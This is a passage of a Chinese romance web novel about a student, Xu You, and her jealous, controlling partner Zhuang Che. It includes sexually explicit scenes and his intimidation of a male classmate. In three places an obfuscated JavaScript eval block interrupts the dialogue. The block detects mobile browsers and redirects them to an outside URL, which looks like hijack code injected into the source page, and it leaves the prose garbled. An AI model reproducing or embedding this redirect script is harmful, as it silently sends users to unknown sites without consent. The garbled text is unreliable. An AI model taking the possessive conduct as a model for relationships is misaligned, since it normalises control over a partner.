没过多久，位置陡然逆转，许由长发在沙发上散开，灯光落下，刺得许由半闭上眼。 庄彻的头发扫在颈侧，留下潮湿的痕迹。 外面又开始下雨了，许由听见雨点敲打在窗户上的声音。 滴答。 一滴雨水落在纸上，晕开一小片痕迹。 滴答滴答。 水渍反着暖黄的灯光，痕迹蜿蜒向下。 庄彻抬眼去看许由。 许由从脖子到耳后都透着淡淡的粉，嘴唇被咬得发白，她不知道是害羞还是别的什么原因，一只手搭在眼睛上，并没有在看他。 只有在这种时候，庄彻骨子里的侵略性才会完全地释放出来，他看着许由的眼神像一头蛰伏在草丛里的猛兽。 庄彻抓起许由的另一只手，放在自己脑后，拇指轻轻摩挲手背，似乎是在安抚，然后—— 许由五指猛地一下收紧，声音不敢置信：“嗯……你怎、怎么咬……别咬……” 她开始挣扎，脚在庄彻背上乱踢，但对于庄彻来说，这点力道就像是在挠痒痒一样，他闭眼，吻得更深。 许由的推拒声很快变成了小声的呜咽，两条腿软软地搭在庄彻肩上，连动一动的力气也没有了。 － 周一上课，邱思思一到教室便盯着许由，把许由盯得浑身发毛。 “怎么了，我脸上有东西吗？” “nonono，”邱思思摇头，一本正经地道，“许由，我发现你最近好像很喜欢穿高领的毛衣。” 许由做贼心虚地摸上自己的脖子，她再清楚不过，衣领的遮挡下是还未褪去的红痕。 “是么，我……我脖子比较怕冷，平时都是随手从衣柜里拿到什么就穿什么，倒没有注意过这些。” “哈哈，你别紧张呀，高领毛衣其实特别衬你，以后多穿，我爱看。” 许由：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14314560|151652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……呵呵，谢、谢谢。” 这堂课程结束之前，教授布置了一个作业，需要四到五人组成一个小组完成一篇论文，自由组队。 恰好这门课程就是和陆雨竹一起上的那门，许由邱思思，以及陆雨竹和她的朋友自然而然地便组成了一个小组。 许由整理好了小组名单正准备交上去，身前突然落下一道阴影。 “你好，请问你们小组满员了吗？” 说话的人是一个带着黑框眼镜的中国男生，个子不高，穿着也很朴素，在班上并不起眼，但许由却对他有点印象。 一是因为他是中国人，二则是男生在上课时，经常会坐在她们前排，虽然没有和她说过话，但久而久之许由也对他有了些印象。 “还没有呢。” 听到许由的回答，男生的眼睛唰地一下亮了起来：“那我可以加入你们吗？” 许由没多想，爽快地答应了。 在国外留学，国人和国人之间本来就应该多照顾一点，认识了就是朋友。 男生叫曹方鑫，下午的课陆雨竹不在，曹方鑫到教室后便十分自来熟地坐到了许由左边的空位上。 许由抿了抿唇，默默将给邱思思占座用的电脑移到了右手边的桌子。 “你中午回公寓吃的还是在外面吃的，吃的什么？”曹方鑫跟许由搭话。 “黄焖鸡米饭。” 曹方鑫奇怪：“Ｘ市居然还有卖黄焖鸡的中餐馆吗？在哪里，我怎么没有听过。” 许由：“不是外面卖的，是我自己做的。” 曹方鑫面露惊讶，坐得离许由近了些：“看不出来，你居然会做黄焖鸡？大厨啊，改天你一定要做给我尝尝，我不会做菜，三餐不是点外卖就是吃泡面，好久都没有吃过黄焖鸡了。” 许由笑笑，没有接话。 “对了，”曹方鑫突然想起什么，从背包里拿出自己的电脑，“我中午闲着没事干的时候，把这一次小组课题的内容和具体要求看了一下。” 他把电脑移至许由面前，整个人也更歪向许由，直到和她肩抵着肩。 “我觉得我们可以先不着急分每个人负责的部分，查资料的部分大家一起查，然后找个时间把查到的资料整合，梳理出来一个大的框架，到时候再细分每个人需要负责的部分，思路也会更清晰。” 曹方鑫离得实在是太近了，说话时呼吸全部打在许由脸侧，许由觉得有些不舒服，不动声色地往右边挪了挪。 曹方鑫毫无所觉，仍在向许由说着自己的想法。 等他说完，许由朝他客气一笑：“你说得对，这样效率的确会更高，那我在微信上和陆雨竹她们说一声。” 提到微信，曹方鑫掏出手机：“我们加个微信吧，方便联系，然后你把咱们组的人都拉个群，这样大家之后遇到什么问题也可以在群里讨论。” “好。” 许由扫了曹方鑫递过来的二维码，给他改了备注，分到了同学那一组里。 16. 第 16 章 下午的课程结束，许由和邱思思汇入拥挤的人潮中慢慢朝教学楼外走，曹方鑫也跟她们一起。 走出教学楼，天色已然全黑。 许由和邱思思照例在岔路口分别，不过令许由没有想到的是，曹方鑫住的公寓竟然和她在同一个方向。 和邱思思道别后，曹方鑫自然而然地走到许由身侧，跟她并肩：“许由，你住哪里啊？” 许由说出自己公寓的名字。 曹方鑫闻言欣喜道：“那我们住的挺近，我一个人住，每天待在屋里也无聊，以后有空的话我就来找你，我还等着你给我做黄焖鸡呢，肯定很好吃。” 许由只是笑笑。 曹方鑫很健谈，一路上哪怕许由大部分时间都在沉默，他也总是有说不完的话。 经过一家中国超市时，许由无意间往店里一瞥，透过橱窗看见了正弯腰在冰柜前挑挑拣拣的南瑾书。 “上课的时候，你一般提前多久出门，说不定咱俩还能在路上遇见，一起——” “曹方鑫。”许由开口打断他，“我看见我室友了，我正好和她一起，你先回去吧，再见。” 南瑾书正在番茄牛肉和猪肉麻辣烫馅的水饺中纠结，一抬头就看见许由朝自己走来。 “许由！”她笑着对许由挥舞起那包番茄牛肉馅的水饺，然后便看见站在中超门口，盯着许由背影还没有离开的曹方鑫。 南瑾书立刻露出一个了然的笑：“又是你的追求者吗？” 许由赶忙摇头：“不是的，就是同学而已。” 南瑾书再次看向店外一步三回头的曹方鑫，不太相信许由的话。 许由无奈解释：“真的就只是同学而已。” 今天一天和曹方鑫相处下来，曹方鑫给许由的感觉有点像妇女之友。 因为许由发现，曹方鑫似乎跟班里的中国男生并不熟，就算面对面遇上了也不会去主动打招呼搭话什么的，反倒是跟她们在一起的时候话挺多的，啥都能聊，还十分热情，但其实到现在为止，他们才认识了不到一天而已。 许由因此猜测，或许是因为曹方鑫更擅长跟女生相处，和女生相处时也会感到更自在些。 “他人挺好的，就是有点……”许由想了想，“太热情了，我招架不住，正好碰到你，就赶紧来找你了。” 许由是个慢热的人，和南瑾书乔心她们也是在日复一日的相处中渐渐熟悉起来的，对于曹方鑫一上来就这么亲近的相处方式，许由实在是有些适应不了，但也不好直说，只能找借口摆脱他。 “原来是这样。” 南瑾书不再纠结，把两包水饺举到许由面前：“你快来帮我选选，买哪个馅的。” 许由指了指猪肉麻辣烫馅的：“这个，感觉这个馅不蘸醋也好吃。” 对于许由来说，中超就像是她在Ｙ国的第二个家一样，不进还好，只要进了，多多少少都得带点东西走。 今天中超正好螺蛳粉补货，许由便拿了两包，和南瑾书一起去结账。 回去的路上，南瑾书想起件事来：“许由，你上周六晚上又是睡在朋友那里的吗？” “啊，嗯……”许由做贼心虚，说话时不敢看南瑾书，只问，“怎么了，是有什么事吗？” “没事呀，但那天不是大年初一嘛，晚上我跟乔心想叫你一起喝酒聊天来着，发现你不在，就猜到你可能是去你朋友那了。”南瑾书露出一个意料之中的笑。 “不过那天你和夏玉莹都不在，厨房里只有我跟乔心，感觉怪冷清的。” 许由听到后也笑了：“今天也不晚，年初三，晚上咱们三个可以聚一聚，反正我明天上午没课。” “嘻嘻，我明天上午也没课。” “哦对了，”南瑾书一拍脑袋，“周六晚上我们找你，其实也是想和你说一下三月份去Ｌ市看演唱会的事。” 去年十二月底的时候，许由她们三个抱着试一试的心态，在某位国际知名女歌手演唱会门票开售时点进购票网站疯狂了一波，结果还真被她们抢到了山顶票，虽然离得远，但能坐在场里感受一下氛围也是很不错的。 许由因此提议，趁这个机会去Ｌ市玩两天，乔心和南瑾书周六晚上就是想找她商量一下行程的事。 “行呀，那我们今天晚上慢慢讨论。” － 周三下午许由有两节课，不过两节课中间相隔时间比较久，又恰好第一节课是和陆雨竹一起上的，因此在第一节课结束之后，连带着曹方鑫一起，五个人在教学楼里找了处地方坐下，讨论小组作业要怎么做。 这里挨着过道，用沙发隔绝出一个半独立的空间，陆雨竹和她朋友在桌子的一边落座，许由和邱思思则坐在另一边，曹方鑫在许由旁边坐下。 过道里时不时有人经过，许由他们专注讨论也没去留意，直到一道黑影落下，挡住了桌上大半的光，并且那道黑影一动不动，丝毫没有要让开的意思。 许由闻到了一股熟悉的雨后青草的清冽味道，她抬头，对上了庄彻那双黑沉沉的眸子。 “好巧。” 庄彻目光凉凉地落在许由和曹方鑫不经意挨在一起的衣袖上。 许由顺着庄彻的视线低头，才发现自己查资料的时候太认真，连手臂什么时候和曹方鑫碰到了也不知道，她收回手，默默往邱思思那边挪了挪。 虽然邱思思只在开学那阵跟庄彻见过一面，但庄彻这样的人，要忘记着实很难：“请问……你找谁？” 该不会是路过看到自己，特意停下来打招呼的吧，那他可真有礼貌。 庄彻皮笑肉不笑地朝许由抬了抬下巴：“找她。” “许由，不打算介绍一下吗？” 桌上的视线又齐刷刷地射．向许由。 许由突然有些口干舌燥起来，她顶着众人的视线，磕磕绊绊地开口：“他，他是我的——” 许由在朋友和男朋友之间犹豫。 “朋友。” 庄彻将许由的犹豫看在眼里，语气淡漠地替她解释道。 而在庄彻话音落下后，许由似乎听到心里有巨石重重落地的声音，她抓着衣角的手一松，才发现自己的掌心不知在什么时候已经覆上了一层薄汗。 庄彻也没有错过，在他那句朋友说出来之后，许由面上骤然松懈下去的神色，他眸色更深。 “我就是过来跟许由打声招呼，你们继续。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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庄彻个高腿长，往沙发里一坐，之前和曹方鑫坐时勉强算得上宽敞的位置，顿时就变得拥挤起来。 而庄彻对此毫无所觉，腿大喇喇地敞着，严丝合缝地贴着许由，肩膀手臂也贴着，两个人中但凡一个人有点动作，衣物摩擦声在这个半封闭的空间听上去都格外清晰。 许由被挤的没办法，朝庄彻睨过去一眼，庄彻笑着用眼神回了她一个：？ “同学，你坐的是我的位置。” 去卫生间的曹方鑫去而复返，站在桌边看着庄彻。 庄彻连眼皮子都没抬一下，只是懒洋洋地朝对面抬了抬下巴：“那边有空位，你坐那也是一样的。” “我社恐，挨着认识的人坐才会不那么紧张。” 许由：…… 其余人：？？？ 许由的头开始一抽一抽地痛起来，她不再理会身旁满嘴跑火车的人，冲曹方鑫抱歉地笑了笑，低头看回资料，过好一会，余光才瞥见曹方鑫在对面落座。 她没多想，专注在自己的事情上。 17. 第 17 章 课间休息。 许由靠在椅子里看手机，余光察觉到曹方鑫似乎频频在朝自己这边看，像是有话要说。 她猜测会和庄彻有关，假装没看到。 ［－.－：放学我来接你。］ 屏幕上方突然跳出来一条新消息。 许由看了一眼，没回，收起手机。 放学后，许由坐在位子上不慌不忙地收拾东西，对一旁的邱思思和曹方鑫道：“你们先走吧，我还有事，晚点自己回去。” 邱思思爽快点头，跟许由说了声明天见之后，背着书包一溜烟跑走了。 放学不积极，思想有问题。 许由把电脑放进包里，抬头看向还在自己桌前站着的曹方鑫，温声询问道：“还有事吗？” 曹方鑫冲她笑笑：“你和庄彻很熟吗？” “还……好，一般。” 许由在心里琢磨着该怎么样把曹方鑫糊弄过去，结果曹方鑫话锋突然一转：“你有什么事，不久的话我等你一起回去吧，我冰箱里的菜吃完了，我们还可以顺道去超市逛逛。” 许由只觉得莫名其妙，她好像没有跟曹方鑫熟到这个地步吧。 她语气多了几分疏离：“你先走，不用等我。” 曹方鑫笑容僵硬一瞬，很快调整过来：“那行吧，明天见。” 许由收拾好东西走出教室的时候，楼里的学生都走的差不多了。 教室在二楼，走廊是开放式的走廊，可以看到一楼大厅的光景，走廊和楼梯连接，许由顺着楼梯往一楼走时，一眼便看见了懒洋洋倚在大门旁沙发里的庄彻，以及站在他旁边的，有点眼熟的女生。 “庄彻，你还没有走啊。” 尹晓洁这几天一直没能找到机会和庄彻单独相处，刚才下楼时看到庄彻一个人坐在沙发里，便立刻走上前来。 周五那天晚上她主动提出让庄彻送自己回去，结果庄彻只用“有事”两个字便将她草草打发，但她仍不愿意放弃，还想为自己搏一把。 “要一起走吗？” “不了，我在等人。” “等——” 尹晓洁问话还没有出口，就看见庄彻的视线越过她，看向她身后。 她顺着庄彻的视线转头，发现是周五派对上庄彻主动搭话的女生，笑容顿时变得勉强：“你在等她？她是你的……什么人？” 庄彻起身，目光自许由出现起，便紧紧黏在她身上，没有再看过旁人，语调轻佻：“那得看她怎么说。” 许由下到一楼，庄彻也恰好走到她面前。 “晚饭想吃什么？”庄彻问。 许由看一眼女生落寞离开的背影，视线回到庄彻脸上，说：“上次河边那家意餐吧。” 那家的提拉米苏真的挺好吃的，至于其他的菜，周六晚上许由看庄彻吃得挺香，所以她也想尝尝。 “行。” 庄彻便带着许由去了河边的那家意大利餐厅。 吃完饭，两个人慢慢往回走，庄彻突然开口：“今天下午坐在你旁边那个男生是谁？” 许由无奈瞥他一眼，就知道他下午那一出“鸠占鹊巢”是在故意针对曹方鑫：“他是我同学，我们只是一起在做小组作业而已。” 庄彻冷笑：“做小组作业需要离得那么近吗？就他那小身板，旁边桌子空了那么多地方，放不下他一条手臂？非要跟你挤在一块？” 许由感觉自己头又开始疼了：“我们之前在讨论，大家都离得很近，他不是故意的。” 庄彻轻嗤一声，明显是不信。 许由叹气：“他没做错什么，对我也没有其他的意思，真的就是单纯把我当朋友而已，你别针对他。” “那你平时也离他远一点，我不喜欢他。” 许由停下脚步，语气严肃：“庄彻，我虽然跟你在一起，但我有我自己的生活，我是一个独立的个体，你不能用你个人的喜好来干涉我交友。” “而且，不是每个接近我的男生都是因为喜欢我的，我没有你想象的那么有魅力。” 庄彻冷哼，一副你在瞎说什么的混不吝模样。 许由气闷，索性不跟他说了，脚下加快步伐朝前走去。 经过一个广场时，许由忽然听见一阵欢笑声，脚步不由自主地慢下来，朝声音来源处看去。 “那是户外滑冰场。” 庄彻的声音从头顶落下，许由刚一回头便撞进他怀里。 庄彻搂住许由，垂眸看她：“冬季限定，想去试试吗？” 许由在庄彻怀中抬头。 就像上周六一样，庄彻的脾气来得快，但去得也快，他眼中带着询问，广场上明亮的灯光落进那双黑沉的眸子里，将此刻的他衬得很温柔。 许由眨眨眼：“可是我不会滑冰。” 庄彻笑了：“我会，我教你。” 许由仍在犹豫：“我明天还有课呢。” 庄彻笑得更厉害了，震动感透过厚厚的衣服传递到许由胸口：“下午的课而已，再说了，我们又不会在这里滑一整夜，人家也要下班回去休息的。” 他低头凑到许由耳边，用近乎呢喃的语气道：“你明天早上还可以睡一个懒觉。” 许由：……这人又开始不正经了。 而且，他还真是对自己的课程表了如指掌呢。 － 换上笨重的冰刀鞋，许由在庄彻的搀扶下，艰难地走到滑冰场的入口处。 脚踩上冰面的那一刻，毫无摩擦阻隔的顺滑感让许由立刻抓紧了庄彻的手臂，她忍不住叮嘱道：“庄彻，你千万别放手啊。” 庄彻立在冰面上，两只手稳稳从下托住许由的手臂：“嗯，我不会放手的。” 许由小心翼翼地走到冰面上，庄彻在她站稳后，便扶着她，倒退着朝滑冰场的中央滑去。 “等一下，等一下！” 许由瞪大眼睛，整个人的重量几乎都压在庄彻的手臂上，弯着腰脸快埋进庄彻胸膛，一动不敢动，表情难得惊慌：“我、我、我不行，你快带我去边上，我不要在中间，我要去边上扶着栏杆。” 庄彻挑眉：“我扶着你不是一样的？” 许由感觉此刻的自己像一根无依无靠的狗尾巴草，身侧滑过一个人掀起的微风就能把她吹倒：“你滑得太快了，我不要你扶。” 庄彻失笑，放慢了速度：“这样，可以了吗？” 许由缓缓直起身，调整一下呼吸：“好像可以了。” 庄彻松了一点手上的力道：“那你自己试着滑滑看，放心，我会扶着你。” 许由开始挪动自己两条僵得跟木头似的腿。 左边一下，右边一下，循环往复，虽然移动速度比龟速快不了多少，但好歹是能滑起来了。 她兴奋地抬头，准备炫耀一下自己的成果：“庄——” 乐极生悲这个词在任何时候都能适用。 就比如现在，许由刚想对庄彻说她好像会了，脚下倏地一滑，整个人就朝后倒去。 庄彻手上立刻用力，把许由拉进自己怀里。 咚！ 庄彻摔坐在冰面上，许由有他护着，倒在他身上，倒是没有被摔着。 一切发生的太快，许由都没能来得及做出什么反应，只隐约记得自己倒在庄彻身上时，好像听见了一声闷哼，她着急忙慌地从庄彻身上撑坐起来，手在他身上摸来摸去：“你没事吧？摔到哪了没有？” 许由皱着眉头一脸担忧。 庄彻还是那副散漫的笑，看样子是没有摔疼，单手支在冰面上，任许由将自己全身上下摸了个遍，才开口：“知道你急，但是你先别急，咱们现在还在外面呢。” 许由收回手，不轻不重地捶了他一下：“我在问你摔哪了。” 庄彻握住朝自己砸下的拳头：“衣服穿得厚，没摔到。” 经过这一茬，庄彻变得更加小心，带着许由绕着场边滑，也不往人多的地方去。 滑了几圈之后，许由渐渐觉得自己似乎已经掌握了滑冰的技巧，自信满满地让庄彻放手。 庄彻手上松了力道，却没有放开：“你确定？” 许由松开了抓着庄彻衣服的手，试着靠自己站稳：“你放开吧，我觉得我可以。” 庄彻收回手，紧跟在许由身侧。 许由两手抬平在身侧保持平衡，逐渐放开了胆子，也学着场内其他人的模样，开始匀速地滑起来。 庄彻没想到许由刚来时还是一副害怕到不敢放开他手的模样，过了十几分钟，仅仅只是眨个眼的工夫，就“嗖”的一声，从他面前蹿了出去。 紧接着下一秒，扑通一声跪倒在地，然后因为惯性往前滑出去好几米才停下。 庄彻立刻滑到许由身边，眉头紧蹙：“怎么回事，摔疼了没？” “我好像学会了，”许由没觉得疼，眼睛亮晶晶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14361722|151652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地看着庄彻，问，“庄彻，你看见我刚才滑的了吗，我好像学会滑冰了。” 庄彻看着许由兴奋到变得红扑扑的脸，和她一起笑开：“嗯，看到了。” 许由的胆子在摔过一次之后变得更大，兴冲冲地又要往场中央滑，庄彻不疾不徐地跟在她身侧。 “哎呀，庄彻，你别拉我呀，我不怕了，我可以自己滑。” “我怕，你拉着我，行了吧。” “……” 一个小时的滑冰时间很快过去，许由玩得意犹未尽，还沉浸在滑冰的快乐中时，晕晕乎乎地被庄彻拐回了家。 但滑冰的快乐在看到膝盖上的淤青，以及庄彻骤然沉下去的脸色后，顿时消散了大半。 一回到公寓许由便换上了庄彻的Ｔ恤，腿露在外面，两腿的膝盖上都有紫色的淤青，淤青里还遍布密密麻麻的出血点，再加上她皮肤白，一白一紫的对比看着就格外吓人。 她坐在沙发上，庄彻则是蹲在她身前，手把着她的小腿，拇指虚虚地抚过淤青，不敢真的碰到。 “疼不疼？”庄彻问她。 许由摇头：“不疼的，都没什么感觉。” 庄彻低头看着她腿上的淤青，没有说话，半晌，才起身上楼，在书桌里叮铃当啷地翻着什么。 很快，他手里拿着一个东西走下来，蹲回许由身前。 “你拿的是什么？” “红霉素软膏，我这里只有这个，伤口虽然没有破皮，但还是涂一点，防感染，晚点我再去公寓群里问问有没有红花油之类的。” 庄彻把药膏挤在手指上，然后轻轻点在淤青处。 许由刚才撒谎了，其实还是有那么一点疼的，所以在庄彻给她涂药时，她的腿下意识地往回缩了一下。 庄彻涂药的动作一顿，然后手上的力道变得更轻。 庄彻低着头，许由看不见他脸上是什么表情，却能从他微颤的眼睫，和愈发轻的动作里感受到他的小心翼翼。 许由在这一刻突然有些明白，为什么庄彻的那位前女友会对他念念不忘了。 因为他温柔的时候，真的很让人移不开眼。 “不是很疼，真的。”许由俯身看着庄彻，冷不丁冒出这句话来。 庄彻闻言抬头，和许由对上视线。 许由是两手交叠撑在腿上的姿势，本来就和庄彻离得很近，庄彻再一抬头，两个人的鼻尖差点擦到。 许由望进庄彻眼底，在他眼里看到了自己的倒影，以及零星一点还没有完全退去的，心疼，锋利的眉眼也因此而变得柔和。 许由看得愣了。 庄彻深深看她一眼，低头，继续帮她涂药。 许由的心似乎也跟着庄彻的眼睫颤动起来，正想和他说这点伤其实真的不算什么，就听见庄彻长长地叹了一口气： “伤得这么厉害，今天晚上看来是不能让你跪着了。” 话到嘴边又被咽下去，变成了一根不上不下的刺卡在喉咙里。 许由抬脚去踢庄彻，脚腕被庄彻捏住，放到怀里，庄彻抱着许由的小腿往前坐了些，低头，在她的腿上亲了一下。 “开个玩笑，我怎么舍得真让你跪着呢。” 许由又踹了一脚，不是很重，庄彻闷哼一声，脑袋倒在许由的大腿上，蹭了蹭，然后把脸埋进腿间，深深吸了一口气。 湿｜热的呼吸扑洒在腿上，有点痒，但这一幕让许由莫名觉得温馨，她慢慢抬手，想去揉揉腿上这个毛茸茸的大脑袋。 庄彻闭着眼，感觉到自己的鼻尖将腿｜肉微微戳下去一个凹陷，唇齿间都是独属于许由的那股淡淡的甜香，像她爱吃的奶油泡芙，也像草莓挞。 庄彻本来是不爱吃甜品的，可跟许由在一起后，冰箱里却随时随地都能翻出点甜的东西来，然后他便发现，原来甜点真的是会上瘾的。 吃了一口，不满足，还想吃第二口，还想要更多…… 许由的手还没有碰到庄彻的头发，便改为两手捧住他的脑袋，把他从自己腿上“拔”起来，呼吸很乱。 “你别这样……” 庄彻眼角被情．欲熏得微红，他侧头吻在许由掌心，声音模糊：“我怎么样？” 他抓住许由的手腕，不让她收回手，而后跪坐起身，吻从手腕慢慢向上，直至把许由压进沙发里，他在许由唇上轻轻啄着。 “你让我怎么样，我就怎么样，好不好？” 18. 第 18 章 因为顾忌着许由膝盖上的伤，在做到最后一步时，庄彻选择用手代替。 他一只手撑在许由脸侧，替许由轻轻拨开那些被汗水沾在脸上的碎发，看着许由盈满水光的双眸，爬上脸颊的红晕，和因为忍耐而蹙起的眉，呼吸越发粗重。 庄彻再了解许由不过，他一瞬不瞬地看着许由在自己手下寸寸失守，动作愈发缓慢，少倾，在许由额头落下一吻。 “许由，你叫一声我的名字好不好？”他声音缱绻缠绵，近乎诱哄地道。 许由忍不住仰头，不知是眼泪还是汗水倒灌进眼睛里，将视线里的一切淹没，变为斑驳模糊的色块。 她抓着庄彻手臂的手用力，在青筋遒劲的手臂上留下几道痕迹。 “你别……这么慢……” 庄彻吻一下她的耳朵，装听不懂她的话，继续引导：“许由，我叫什么？” 潮水一波又一波地翻涌上来，却无处释放，许由快被这种感觉折磨得疯掉，她闭上眼，死死咬住自己的嘴唇，那两个字是怎么也说不出口。 然后，下巴被捏住，温热粗粝的指腹将她被咬得泛白的嘴唇从牙齿下解救出来。 潮水没顶时，许由听见庄彻的声音落在耳边，似叹息：“算了，不想说就不说吧，慢慢来，以后总有……” 次日清晨。 昨天晚上去滑了冰，又被庄彻缠着折腾了许久，许由因此睡得很沉，都不知道早上庄彻是什么时候起的，她醒的时候，身旁的床铺一点残余的温度也没有了。 她半眯着眼从床上坐起，手在枕头边摸了半天才摸到自己的手机，刚解除飞行模式，微信里便弹出来一条新消息。 ［－.－：冰箱里有蛋糕和三明治，想吃什么自己拿，午饭有什么想吃的也可以发给我，我下课去买。］ 许由迷迷糊糊地揉了揉脑袋，坐在床上发了会呆才去浴室洗漱。 许由没有等庄彻回来。 她洗漱完吃完早饭已经十一点半了，她把厨房收拾干净，换好衣服，给庄彻回了一条“我不饿，先去上课了”的消息便离开了。 庄彻的课业其实比许由要繁重许多，昨天晚上许由洗完澡从浴室出来时，还看见庄彻坐在桌边看资料。 因此，他不可能天天都在许由上课的教学楼外等她下课。 下午放学，许由视线往教学楼大门一扫，没看到庄彻，复又低下头，慢慢跟着人潮往外走。 刚出教学楼没多远，便偶遇了一样结束课程往回走的陆雨竹，陆雨竹亲昵地挽上许由的胳膊。 “许由，你周六有安排吗？” 许由笑着看她：“没有，怎么了？” “那你来找我玩吧，”陆雨竹摇晃起许由的手臂，“我们一起煮小火锅吃。” 许由正要答应，身旁突然插｜进来一道声音：“周六吗？太好了，我也很久没有吃火锅了。” 陆雨竹听到说话声才注意到走在许由身旁的曹方鑫，脸上的表情先是疑惑，反应过来曹方鑫话中的意思后，又顿时变得尴尬：“啊……啊？” 曹方鑫却好似感觉不到突然冷下去的氛围，还在自顾自地说着：“你们论文负责的部分写得怎么样了？我昨天晚上回去写了个大概，正好周六跟你们一起讨论一下。” “我们可以早上一起去买菜，等中午吃完火锅再开始写论文，大家一起写，效率肯定会更高。” 陆雨竹：“啊……啊？” 到最后，陆雨竹也想不通，自己明明只是想约许由一起玩，怎么就演变成了大家一起去她的公寓做小组作业。 － 周五许由满课，中午只有一个小时的休息时间，上午最后一节课结束后，她打算去学校内的餐厅随便吃点炸鸡薯条什么的填填肚子。 邱思思昨天晚上熬了一个大夜，留下一句不饿，便头也不回地跑回公寓补觉了，而曹方鑫听到许由要在学校吃，则是欣然提出和她一起。 许由没有想到会在餐厅碰见同样是来吃饭的庄彻。 庄彻和一个男生就坐在靠近大门的位置，许由一走进去便被面朝门口坐的庄彻看见了。 庄彻眉梢微扬，正要开口，看见跟在许由身后进来的曹方鑫，脸色立刻沉了下去。 许由知道庄彻肯定又多想了，但是现在有外人在不好开口跟他解释，只能硬着头皮走过去跟他打了一声招呼，然后去点餐台点餐。 付完钱，餐品很快做好端上来，曹方鑫端起自己的盘子，指了指不远处的一张空桌对许由道：“许由，那没人，我们坐那去吧。” 许由没往曹方鑫指的方向看，径自抬脚朝庄彻坐的那桌走。 “既然都碰上了，就一起坐吧。” 她拉开庄彻旁边的椅子坐下。 这是一张四人的方桌，许由坐了庄彻旁边的空位，紧跟上来的曹方鑫便坐到许由对面剩下的那个空位上。 曹方鑫面上看不出什么不自然的神色，似乎已经将前天的事情给忘记了，坐下后，笑着和庄彻寒暄：“真巧，在这里遇见你。” 庄彻意味不明地哼笑一声：“是挺巧的。” 庄彻的同学见状问：“庄彻，你们认识吗？” “认识，都是朋友。” 饭桌上，庄彻并没有像上次那样针对刁难曹方鑫，分开时面上神色也看不出什么异样，许由悬着的一颗心落下。 想了想，便没有再给他发消息解释什么，因为本来自己跟曹方鑫就没什么关系。 下午放学回到公寓，许由不想做饭，从橱柜里翻出一包泡面打算应付了事，等水烧开时，岛台上的手机突然响起。 微信里曹方鑫给她发来了一条消息。 ［曹方鑫：许由，是你把我的微信推给庄彻的吗？］ 嗡—— 一瞬间，寒气从脚底迅速窜至头顶，许由只感觉自己打字时，都有些拿不稳手机。 ［不是，怎么了？］ ［曹方鑫：庄彻加我微信，约我今天晚上去酒吧看球赛，我以为是你把我微信推给他的。］ ［曹方鑫：但我对球赛不感兴趣，不是很想去，你和庄彻比较熟，你能帮我跟他说一声吗？我跟他说他不听，还说如果我不去的话他就要来找我。］ 又过了一会儿，曹方鑫发来一条新消息： ［其实……我觉得庄彻好像不太喜欢我。］ 许由想起之前庄彻是怎么对李亚杰的，她深吸一口气，打字：好的，我帮你跟他说。 紧接着，许由翻出庄彻的微信，给他发消息：你现在在哪里。 下一秒，地址发过来，是位于市中心的一家酒吧。 [许由：我过去找你。] 发完消息，许由也不管庄彻回没回，关了火，回房间拿上外套便出了门。 酒吧里人很多，都是等着一会看球赛直播的，许由在靠窗的卡座里找到了庄彻一行人。 桌上摆满了酒瓶，很显然他们已经喝了有一会了。 刘恒睿先看见许由，抬手冲她打了个招呼，许由扯扯嘴角算是回应，坐到庄彻旁边。 两个人默契地没有提曹方鑫的事，庄彻凑到许由耳边问她吃晚饭了 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“庄彻，你到底想要干什么？我说过了，曹方鑫只是同学，今天中午是因为时间紧，我们都来不及赶回去吃饭，才会一起在学校餐厅吃，只是凑巧而已。” 庄彻两手插兜，眼皮懒洋洋地搭着，居高临下地看着许由。他挡住了路灯落下的光，将许由完完全全罩在自己的阴影里，眼底似有黑雾涌动：“你觉得我能对他干什么？” “许由，现在可是法治社会。” “而且，”庄彻想到什么，突然笑起来，“你的朋友也是我的朋友，我不过就是约他一起出来看球赛而已，但他好像误会我的意思了。” “他都跟你说了些什么？” 许由看着庄彻的笑，胸口不受控制地窜上阵阵凉意，将她冻得手脚冰凉，甚至在开口说话时，声音都有些颤抖。 “庄彻，是不是所有接近我的男生，不管他是不是喜欢我想追我，还是只想跟我做朋友，你都要把他们叫出来羞辱一通，让他们远离我，心里才舒服？” “你不觉得你做得太过分了吗？” “我过分？”庄彻仿佛听到了什么笑话，眸中笑意更盛，“许由，我们两个，到底谁更过分一点？” 夜晚寒风寂静无声地掠过空荡的街道，周围的温度又低了些。 庄彻顿了顿，再开口：“许由，你不愿意公开和我的关系，那你身边出现异性，我自然是要弄清楚他接近你的目的。” 许由语塞，看着庄彻不知道该怎么解释。 说她怕麻烦，知道庄彻和她只是玩玩，也知道这段感情走不长久，所以不愿意公开二人的关系，因为公开这段关系，除了让朋友担心，让陌生人看笑话之外，没有任何好处吗？ 